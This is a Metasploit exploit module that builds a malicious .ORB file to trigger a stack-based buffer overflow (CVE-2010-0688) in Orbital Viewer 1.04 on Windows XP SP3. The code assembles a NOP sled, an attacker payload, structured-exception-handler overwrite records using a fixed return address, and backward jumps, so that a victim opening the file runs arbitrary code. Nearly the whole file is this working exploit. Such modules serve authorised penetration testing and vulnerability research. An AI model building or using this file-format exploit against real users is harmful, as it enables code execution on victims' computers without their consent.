##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Orbital Viewer ORB File Parsing Buffer Overflow',
        'Description' => %q{
          This module exploits a stack-based buffer overflow in David Manthey's
          Orbital Viewer. When processing .ORB files, data is read from file into
          a fixed-size stack buffer using the fscanf function. Since no bounds
          checking is done, a buffer overflow can occur. Attackers can execute
          arbitrary code by convincing their victim to open an ORB file.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'jduck' ],
        'References' => [
          [ 'BID', '38436' ],
          [ 'OSVDB', '62580' ],
          [ 'CVE', '2010-0688' ],
          [ 'URL', 'http://www.corelan.be:8800/index.php/forum/security-advisories/corelan-10-011-orbital-viewer-orb-buffer-overflow/' ],
          [ 'EDB', '11581' ]
        ],
        'Payload' => {
          'Space' => 2048,
          'BadChars' => "\x00\x09\x0a\x0d\x20", # \xbd was safe in my test, \x09 was not
          'DisableNops' => true,
        },
        'Platform' => 'win',
        'Targets' => [
          [
            'Orbital Viewer 1.04 on Windows XP SP3',
            {
              'Ret' => 0x004032a2, # p/p/r in ov.exe v1.0.0.2
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2010-02-27',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.', 'msf.orb']),
      ]
    )
  end

  def exploit
    # One for double-click
    seh1 = 3968
    # One for DnD and File->Open
    seh2 = seh1 + 2092

    sploit = "OrbitalFileV1.0\r\n"

    line2 = ''
    nop_count = seh1 - payload.encoded.length
    line2 << make_nops(nop_count)
    line2 << payload.encoded

    line2 << generate_seh_record(target.ret)
    distance = seh1 + 8
    line2 << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

    line2 << rand_text_alphanumeric(seh2 - line2.length)
    line2 << generate_seh_record(target.ret)
    distance = seh2 + 8
    line2 << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

    # Crash writing past end of stack...
    line2 << rand_text_alphanumeric(1024) * 20

    sploit << line2

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(sploit)
  end
end